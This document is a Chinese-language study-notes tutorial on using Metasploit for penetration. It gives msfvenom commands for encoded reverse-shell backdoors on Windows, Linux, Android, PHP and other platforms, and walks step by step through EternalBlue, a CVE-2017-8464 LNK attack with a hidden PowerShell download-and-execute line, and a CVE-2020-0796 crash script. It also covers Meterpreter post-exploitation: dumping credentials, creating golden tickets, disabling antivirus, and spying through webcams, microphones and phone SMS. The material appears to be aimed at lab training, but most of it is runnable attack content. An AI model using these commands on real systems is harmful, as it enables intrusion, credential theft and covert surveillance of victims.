MSF渗透工具的利用
内容为学习笔记,如有侵权,请联系删除
环境准备
安装
Linux下kali自带,可以更新
sudo apt update
sudo apt install metasploit-framework
msfconsole --version
Windows下:
点击下载跳转到github,然后下载Windows最新版,记得把电脑防护都关了,不然安装不了,有毒
环境变量配置:
安装目录下的bin的地址复制粘贴到系统变量的path里面
直接在终端输入:msfconsole就可以启动
图形化界面Viper(炫彩蛇)
MSF图形化界面Viper(炫彩蛇)下载与使用
Viper是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化.
集成杀软绕过,内网隧道,文件管理,命令行等基础功能.
当前已集成70+个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等大类.
在Kali Linux上安装Docker
apt-get update
#使用apt安装docker
apt-get install -y docker.io
#设置开机启动
systemctl start docker
#检查启动状态
docker version
安装docker-compose
curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/bin/docker-compose
#不好使我是直接在GitHub上下载最新版的Linux的然后导入到kali的
#https://github.com/docker/compose/releases/这个上面最新版,下载Linux64位的然后导入到目标文件夹,重命名,然后就和命令下载是一个效果了
#给赋可执行状态
chmod +x /usr/local/bin/docker-compose
#设置安装目录
export VIPER_DIR=/root/VIPER
#执行如下命名生成安装目录,并进入安装目录
mkdir -p $VIPER_DIR && cd $VIPER_DIR
执行如下命令生成docker-compose.yml
tee docker-compose.yml <<-'EOF'
version: "3"
services:
viper:
image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
container_name: viper-c
network_mode: "host"
restart: always
volumes:
- ${PWD}/loot:/root/.msf4/loot
- ${PWD}/db:/root/viper/Docker/db
- ${PWD}/module:/root/viper/Docker/module
- ${PWD}/log:/root/viper/Docker/log
- ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig
command: ["VIPER_PASSWORD"]
EOF
设置登录密码
Viper不允许使用默认密码,diypassword替换为自定义密码密码
export VIPER_PASSWORD=输入你的密码
写入密码到docker-compose.yml
sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml
#使用命令查看一下配置
cat docker-compose.yml
创建启动Viper
docker-compose up -d
启动viper
docker-compose start
等待15s系统启动,访问
https://ip:60000
登录. 用户名:root 密码:自定义密码
注意:
所有的docker-compose命令必须在安装目录执行才会有效果
msf目录结构
- plugins:这个模块需要用load加载,主要提供数据库连接插件 和 各种要用到的插件。
- modules:目录里面存放渗透使用的 辅助模块 编码模块 利用模块 攻击载荷 后渗透模块
- tools:包含一些有用的脚本和零散的工具。
- scripts:目录里面存放都是meterpreter利用的脚本。
- db:数据放在这个目录里
- data:存放使用到的文件,比如密码字典、meterpreter、passivex、vnc、dlls等工具和一些用户接口代码,msfweb和一些其他模块用到的数据文件
- lib:库文件都保存在这个目录里
msf的核心功能
目录下modules下模块介绍
1 auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
2 exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。
3 payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
4 post:后渗透阶段模块,漏洞利用成功获得meterpreter之后, 向目标发送的一些功能性
指令,如:提权等
5 encoders: 编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
6 evasion:躲避模块,用来生成免杀payload
7 nops:这里主要放着调整shellcode 前置nop指令长度的工具(不理解没关系)
msfvenom常用命令参数
Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马
msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码。
msfencode是MSF编码器。
msfvenom 常用参数
参数作用类型-l列出指定模块的所有可用资源payloads, encoders, nops, all-p指定需要使用的payload(攻击荷载)-f指定输出格式Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;-e指定需要使用的encoder编码器编码免杀-a指定payload的目标架构选择架构平台:x86、x64 、x86_64、Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe-o保存payload文件输出-b设定规避字符集,避免使用特定字符比如: '\x00\xff’避免使用的字符-n为payload预先指定一个NOP滑动长度-s设定有效攻击荷载的最大长度和生成payload的最大长度-i指定payload的编码次数-c指定一个附加的win32 shellcode文件-x指定一个自定义的可执行文件作为模板例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。-k保护模板程序,注入payload作为一个新的进程运行例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。-v指定一个自定义的变量以确定输出格式
生成各平台payload命令
Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe
另外可以使用
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.3.33 lport=4444 -f exe >shell.exe
直接生成,但是没有编码免杀实际用途不大
Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho
Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx
JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js
python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py
perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl
ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb
lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua
windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
root用户直接输入以上命令就可以直接在root下生成一个后门程序
msfconsole漏洞利用流程
一、阶段划分:
漏洞利用分为 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 报告 这几个阶段
1.前期交互阶段:
与客户组织进行交互讨论,确定范围,目标等
这个阶段大家可以理解为情报收集前阶段,主要是为了找到目标 确认范围
2.情报搜集阶段:
获取更多目标组织信息
主机探测与端口扫描 ,如 -Nmap等
服务扫描 ,利用metasploit中的auxiliary/scanner/中的服务扫描模块,可以对靶机中的服务版本等信息进行扫描
网络漏洞扫描 -OpenVAS、Nessus等
其他工具扫描 py脚本扫描等
3.威胁建模阶段:
理清头绪,确定出最可行的漏洞利用通道,这个建模阶段写的文档不是给自己看的 是给整个团队看的 方便多人合作
这个阶段主要是根据收集到的情报进行整理 ,理清漏洞利用思路。
4.漏洞分析阶段:
这个阶段主要 挑选匹配可能存在的漏洞利用模块,shellcode
5.渗透利用阶段:
找出安全漏洞,入侵系统
这个阶段尝试利用漏洞 ,配置监控,开始漏洞利用
6.后渗透利用阶段:
Meterpreter,实施操作
这个阶段 就开始实施相关数据下载 后门维持 提权等操作
7.报告阶段:
漏洞利用渗透测试报告 (详细报告编写看 渗透测试报告课程)
这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容
在撰写的过程中,需要特别注意的是:漏洞描述切忌不可过于简单,一笔带过;在安全建议部分避免提出没有实际意义的安全建议,比如加强安全意识;报告结构混乱不堪,太多复杂的专业术语,比如绕狗、x站等等;
二、实际操作(举例)
主机范围和目标已确定
1.情报搜集
基于msf发现内网存活主机
search 搜索
msf终端内输入 search scanner type:auxiliary
#可用于发现主机的模块
auxiliary/scanner/discovery/arp_sweep # 基于ARP发现内网存活主机
auxiliary/scanner/discovery/udp_sweep # 基于UDP发现内网存活主机
auxiliary/scanner/ftp/ftp_version # 发现FTP服务
auxiliary/scanner/http/http_version # 发现HTTP服务
auxiliary/scanner/smb/smb_version # 基于smb发现内网存活主机
#举例,使用第一个
#首先使用use 加所需要的模块
use auxiliary/scanner/discovery/arp_sweep
#然后就可以利用这个模块了,利用模块需要配置参数,使用options查看所需配置参数,no是不需配置参数,yes是需要配置的参数,RHOSTS是所需扫描的网段范围
set rhosts 192.168.25.0/24
#然后run运行
#查看有没有开启ftp服务
use auxiliary/scanner/http/http_version
options
set rhosts 192.168.25.0/36
run
其他的基本也类似
基于netbios发现内网存活主机
基于snmap发现内网存活主机
基于ICMP发现内网存活主机
2.威胁建模
经过第一步情报收集 我们通过arp发现了 目标机器ip
然后通过对目标机器的ip扫描 我们知道了 目标机器开通了 80端口 有web服务 开了ftp端口 有文件服务
开了 smb
最终决定对smb相关的漏洞进行利用
备选方案通过植入木马的方式进行利用
3.漏洞分析
第一步先查看smb利用漏洞有哪些 比如永恒之蓝
1 查询msf与永恒之蓝相关的 模块
#使用命令
search ms17_010
2 然后我们利用了一个永恒之蓝的 扫描模块
use auxiliary/scanner/smb/smb_ms17_010
3 输入 options 查看扫描模块需要配置的参数
3.1 然后我们配置了rhost (rhost指的是目标主机ip)
set rhost 192.168.25.21
4 然后我们执行扫描 输入 run
发现了 可能存在漏洞的主机
4.渗透利用
1 加载 永恒之蓝漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
2 输入 options 查看扫描模块需要配置的参数
3.1 然后我们配置了rhost (rhost指的是目标主机ip)
set rhost ip
3.2 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)
set lhost ip
3.3 然后我们配置了 lport (指的是监控的端口 )
set lport ip
注意端口必须没有被占用
4 然后我们执行扫描 输入 run 执行永恒之蓝漏洞利用
但是发现失败 提示 模块已经利用了 但是没有返回对应 session,那就使用另一条方案
5.备选方案通过植入木马的方式进行利用
1 我们知道目标机器是win系统 所以使用msfvenom 生成一个win平台的木马
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.25.137 LPORT=4446 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe
2 漏洞生成后 通过启动一个py服务将木马上传到目标机器(实际上是需要通过社工的方式将木马传到目标主机,这一步省事直接自己去下载了)
python -m SimpleHTTPServer 80
3 配置监控程序
use exploit/multi/handler
3 输入 options进入配置
3.1 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)
set lhost ip
3.2然后我们配置了 lport (指的是监控的端口,注意和生成木马的端口一致 )
set lport ip
4 配置攻击载荷 payload(和生成木马的-p一致)
set payload windows/meterpreter/reverse_tcp
5 run执行等待目标机器执行木马
6 目标机器执行了木马
利用成功并获得meterpreter
5.后渗透利用
获得meterpreter后进行后渗透,见下面Meterpreter
6.报告阶段
Meterpreter
一、 Meterpreter是什么
Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。
二、Meterpreter中常用的反弹类型
1.reverse_tcp
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定
三、Meterpreter的常用命令
1.基本命令
- help# 查看Meterpreter帮助
- background#返回,把meterpreter后台挂起
- bgkill# 杀死一个 meterpreter 脚本
- bglist#提供所有正在运行的后台脚本的列表
- bgrun#作为一个后台线程运行脚本
- channel#显示活动频道
- sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号
- meterpreter会话已继续利用
- sesssions -k number #与会话进行交互
- close# 关闭通道
- exit# 终止 meterpreter 会话
- quit# 终止 meterpreter 会话
- interact id #切换进一个信道
- run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
- irb# 进入 Ruby 脚本模式
- read# 从通道读取数据write# 将数据写入到一个通道
- run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
- use# 加载 meterpreter 的扩展
- load/use#加载模块
- Resource#执行一个已有的rc脚本
2 常用命令
2.1 针对安卓手机的一些命令
- 获取手机通讯录: dump_contacts
- 获取短信记录:dump_sms
- 控制实验手机发短信:send_sms -d 15330252525 -t “hello”
- 获取实验手机GPS定位信息:geolocate
- 获取实验手机Wi-Fi定位信息:wlan_geolocate
- 控制实验手机录音:record_mic -d 5
- 获取实验手机相机设备:webcam_list
- 控制实验手机拍照 :webcam_snap
- 直播实验手机摄像头:webcam_stream
2.2 针对Windows的一些命令
- 查看进程:ps
- 查看当前进程号:getpid
- 查看系统信息:sysinfo
- 查看目标机是否为虚拟机:run post/windows/gather/checkvm
- 查看完整网络设置:route
- 查看当前权限:getuid
- 自动提权:getsystem
- 关闭杀毒软件:run post/windows/manage/killav
- 启动远程桌面协议:run post/windows/manage/enable_rdp
- 列举当前登录的用户:run post/windows/gather/enum_logged_on_users
- 查看当前应用程序:run post/windows/gather/enum_applications
- 抓取目标机的屏幕截图:load espia ; screengrab
- 获取相机设备:webcam_list
- 控制拍照 :webcam_snap
- 直播摄像头:webcam_stream
- 控制录音:record_mic
- 查看当前处于目标机的那个目录:pwd
- 查看当前目录:getlwd
- 导出当前用户密码哈希 run hashdump
- 用户名:SID:LM哈希:NTLM哈希:::
- 也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump
- 抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin
- 直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)
- 首选终端输入 load kiwi 加载kiwi
- creds_all:列举所有凭据
- creds_kerberos:列举所有kerberos凭据
- creds_msv:列举所有msv凭据
- creds_ssp:列举所有ssp凭据
- creds_tspkg:列举所有tspkg凭据
- creds_wdigest:列举所有wdigest凭据
- dcsync:通过DCSync检索用户帐户信息
- dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
- golden_ticket_create:创建黄金票据
- kerberos_ticket_list:列举kerberos票据
- kerberos_ticket_purge:清除kerberos票据
- kerberos_ticket_use:使用kerberos票据
- kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
- lsa_dump_sam:dump出lsa的SAM
- lsa_dump_secrets:dump出lsa的密文
- password_change:修改密码
- wifi_list:列出当前用户的wifi配置文件
- wifi_list_shared:列出共享wifi配置文件/编码
3.文件系统命令
- cat c:\boot.ini#查看文件内容,文件必须存在
- del c:\boot.ini #删除指定的文件
- upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\windows\system32
- download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download
- C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db /root/
- edit c:\boot.ini # 编辑文件
- getlwd#打印本地目录
- getwd#打印工作目录
- lcd#更改本地目录
- ls#列出在当前目录中的文件列表
- lpwd#打印本地目录
- pwd#输出工作目录
- cd c:\ #进入目录文件下
- rm file #删除文件
- mkdir dier #在受害者系统上的创建目录
- rmdir#受害者系统上删除目录
- dir#列出目标主机的文件和文件夹信息
- mv#修改目标主机上的文件名
- search -d d:\www -f web.config #search 文件,如search -d c:\ -f*.doc
- meterpreter > search -f autoexec.bat #搜索文件
- meterpreter > search -f sea*.bat c:\xamp\
- enumdesktops #用户登录数
php后门反弹连接
1 配置监控-使用handler模块
use exploit/multi/handler
2 配置攻击载荷设置payload(注意是本机监控的)
#第一步设置payload
set payload php/meterpreter/reverse_tcp
#第二步设置 lhost 和 lport
set lhost xxxip ;
set lport xxx端口;
3 生成php后门执行攻击获得meterpreter
#新建一个终端在终端内输入
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.25.137 lport=4456 R>shell.php
4 通过文件上传或社工等方式将此脚本在目标主机执行,一般来说是文件上传
run
然后执行脚本(访问木马路径)
5 执行攻击获得meterpreter
6 获取到meterpreter 我们就可以做渗透操作了
比如 观看屏幕 可以在meterpreter里输入
run vnc
查看当前账号可以在meterpreter里输入
getuid
三种CVE(永恒之蓝+永恒之黑+震网三代)
永恒之蓝
一、 环境准备
1 一台Windows电脑
可以使用虚拟机代替
2 Metasploit任意平台
可以是Windows版,可以是kali自带版
二、CVE-2017-0144永恒之蓝介绍
1.何为CVE-2017-0144?
CVE-2017-0144 既 永恒之蓝最早爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了勒索病毒,使全世界大范围内遭受了勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。
2.什么是SMB协议?
SMB是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
3.SMB工作原理是什么?
(1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
(2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
(3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
(4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
三、原理
永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
四、永恒之蓝利用方法
1 启动Metasploit
终端里输入 msfconsole
2 查询利用模块
终端里输入 search ms17_010
3 使用探测模块,哪些主机开启了这些端口
终端内输入 use auxiliary/scanner/smb/smb_ms17_010
4 设置探测范围
终端内输入 show options
我们可以看到是需要配置一个RHOSTS
终端内输入 set rhosts 192.168.3.0/24
(设置扫描当前网段 可以通过 在终端内输入ip a 查看)
也可以设置范围 set rhosts 192.168.3.1-192.168.3.10
5 开始探测
终端内输入 run 执行探测
6 开始漏洞利用
开始利用首先在终端里输入 search ms17_010
查找可选模块
使用模块
use exploit/windows/smb/ms17_010_eternalblue
7 配置利用模块
配置模块
show options
配置靶机
set rhost 192.168.3.8 这里IP填第五步探测到的IP
8 执行攻击
在终端里输入 run
9 拿到meterpreter后渗透操作
查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run
post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run
post/windows/gather/enum_logged_on_users
查看当前应用程序:run
post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
抓取摄像头的照片:webcam_snap
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd
震网三代
一、 什么是 CVE-2017-8464:
说明:
2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危
传播的载体一般是LNK ,LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。
危害:
被攻击机插入存在攻击lnk的U盘后会反弹shell,哪怕是被隔离的内网,也可以在不上网的情况下被攻击。
二、环境准备:
1 可复现的操作系统版本:
- Microsoft Windows 10 企业版 2015 长期服务方案
- Microsoft Windows 10 Version 1607 for 32-bit Systems
- Microsoft Windows 10 Version 1607 for x64-based Systems
- Microsoft Windows 10 for 32-bit Systems
- Microsoft Windows 10 for x64-based Systems
- Microsoft Windows 10 ve rsion 1511 for 32-bit Systems
- Microsoft Windows 10 version 1511 for x64-based Systems
- Microsoft Windows 10 version 1703 for 32-bit Systems
- Microsoft Windows 10 version 1703 for x64-based Systems
- Microsoft Windows 7 for 32-bit Systems SP1
- Microsoft Windows 7 for x64-based Systems SP1
- Microsoft Windows 8.1 for 32-bit Systems
- Microsoft Windows 8.1 for x64-based Systems
- Microsoft Windows RT 8.1
2 可复现的服务器系统版本:
- Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
- Microsoft Windows Server 2008 R2 for x64-based Systems SP1
- Microsoft Windows Server 2008 for 32-bit Systems SP2
- Microsoft Windows Server 2008 for Itanium-based Systems SP2
- Microsoft Windows Server 2008 for x64-based Systems SP2
- Microsoft Windows Server 2012
- Microsoft Windows Server 2012 R2
- Microsoft Windows Server 2016
3 kali操作系统
三、利用原理:
创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒,并且被远控。
四、实战利用
启动MSF
终端内输入:msfconsole
1、使用MSF创建一个后门
msf内输入:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.3.23 lport=4456 -f psh-reflection>/var/www/html/link.ps1
2、在kali下开启apache2
终端内输入:service apache2 start
3、通过社会学进行快捷方式传播
在目标机器创建快捷方式并输入位置
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.135/link.ps1');test.ps1" 地址为kali里的网站根目录下木马的地址
4 回到MSF终端配置监听
msf内输入: use exploit/multi/handler
5 配置payload
set payload windows/x64/meterpreter/reverse_tcp
#与生成后门时配置一致
msf中输入 : show options 配置payload
设置 LHOST 和 LPORT
maf中输入(注意,是本机需要监视的):
set lhost `<当前机器ip>` 设置 LHOST
set lport `<未被占用的端口>` 设置 LPORT
最后在 输入 show options 查看配置是否生效
6、执行监听
msf中输入 : run 或者 exploit
进入靶机执行我们在靶机上创建的快捷方式
稍等片刻获取到meterpreter
五、后渗透
1、通过快捷方式执行程序
meterpreter中输入 shell
发现shell显示有乱码
shell内输入 chcp 65001
然后进入desktop目录(这个是win的桌面)
根据实际情况拼路径
shell 里输入:cd users/mb/desktop
2 更多操作
查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
抓取摄像头的照片:webcam_snap
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd
永恒之黑
一、 CVE-2020-0796 永恒之黑漏洞
永恒之黑漏洞与“永恒之蓝”漏洞极为相似,都是利用Windows SMB漏洞远程攻击获取系统最高权限。
漏洞危害等级:高危
“永恒之黑”漏洞高危之处在于对SMB客户端的攻击,攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等,向攻击目标发送,一旦被攻击者打开则瞬间触发漏洞受到攻击。
漏洞成因:
CVE-2020-0796 漏洞存在于受影响版本的 Windows 驱动 srv2.sys 中,由于 Windows SMB 更新到 3.1.1 版本增加了对压缩数据的支持,未对用户传输的压缩数据的合法性进行校验。
受影响的Windows版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
二、环境准备
1 一个受影响的windows版本
2 正常的电脑
三、开始利用
首先确认当前作为靶机的Windows系统是受影响的版本
Windows版本,按win+r,在弹出运行窗口中,输入 winver
1、 漏洞发现
使用奇安信的漏洞探测工具
直接在cmd中启动 CVE-2020-0796-Scanner.exe
根据提示输入扫描目标IP 或者扫描IP范围
2、准备蓝屏payload
使用CVE-2020-0796 蓝屏工具进行攻击
python3 CVE-2020-0796.py
<查询到存在漏洞的IP>
python3 CVE-2020-0796.py 192.168.3.38
如果靶机没有蓝屏就重新攻击一下
扩展阅读:
微软披露了一个最新的SMBv3(3.1.1)远程代码执行漏洞(CVE-2020-0796),俗称“永恒之黑”。本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用,其危害不亚于永恒之蓝。
msf利用
生成木马反弹shell(Windows)
一、环境准备
- MSF-Metasploit Framework
- 一台windiows靶机
二、开始生成木马
- 使用msfvenom生成木马
- 终端内输入: msfvenom -p windows/meterpreter_reverse_tcp LHOST={监控IP} LPORT={监控端口} -e x86/shikata_ga_nai -f exe -o new.exe -i 5
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.38 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5
三、配置监控
- 启动msf 终端内输入:msfconsole 启动msf
- 载入监控模块 msf中输入: use exploit/multi/handler
- 加载payload msf终端中输入:set payload windows/meterpreter/reverse_tcp
- 配置payload msf终端中输入:show options
- 配置payload监控IP msf终端中输入: set lhost {监控IP}
- 配置payload监控端口 msf终端中输入:set lport {监控端口} (注意这里要和木马配置时使用的端口相同&如果使用内网穿透服务填写转发后的端口)
- 检查payload配置 msf终端中输入:show options
- 执行监控 msf终端中输入: run
四、攻击利用
- 将木马上传到靶机
- 在靶机上执行木马
- 完成攻击利用
生成木马反弹shell(linux)
一、环境准备
- MSF-Metasploit Framework
- 一台靶机
二、木马生成
- 生成一个Linux后门
- msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} -f elf > shell.elf!
三、配置监控
- 启动msf 终端内输入:msfconsole 启动msf
- 载入监控模块 msf中输入: use exploit/multi/handler
- 加载payload msf终端中输入:set payload linux/x64/meterpreter/reverse_tcp
- 配置payload msf终端中输入:show options
- 配置payload监控IP msf终端中输入: set lhost {监控IP}
- 配置payload监控端口 msf终端中输入:set lport {监控端口} (注意这里要和木马配置时使用的端口相同&如果使用内网穿透服务填写转发后的端口)
- 检查payload配置 msf终端中输入:show options
- 执行监控 msf终端中输入: run
四、攻击利用
- 将木马上传到靶机 ,社会工程学其他漏洞配合等手段这里通过python创建一个简单web服务演示python2 -m SimpleHTTPServer 80
- 在靶机上下载并执行木马
- 完成攻击利用,获取到meterpreter
生成木马反弹shell(安卓)
一、环境准备
- MSF-Metasploit Framework
- 一台安装手机或者模拟器
二、木马生成
- 生成一个APK后门
- msfvenom -p android/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} R>k.apk。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.110.38 LPORT=4567 R>k.apk
三、配置监控
- 启动msf 终端内输入:msfconsole 启动msf
- 载入监控模块 msf中输入: use exploit/multi/handler
- 载入payload MSF终端中输入: set payload android/meterpreter/reverse_tcp
- 配置payload MSF终端中输入:show options
- 配置监控IP MSF中输入:set lhost <监控的IP>
- 配置监控端口 MSF中输入:set lporr <监控的端口>
- 执行监控 msf终端中输入: run
四、攻击利用
- 将木马上传到靶机
- 在靶机上执行木马
- 完成攻击利用
msf后渗透
后渗透之访问文件系统
ls:靶机目录
dir:靶机文件及文件夹信息
lls:查看攻击机的目录
getlwd:攻击机当前目录
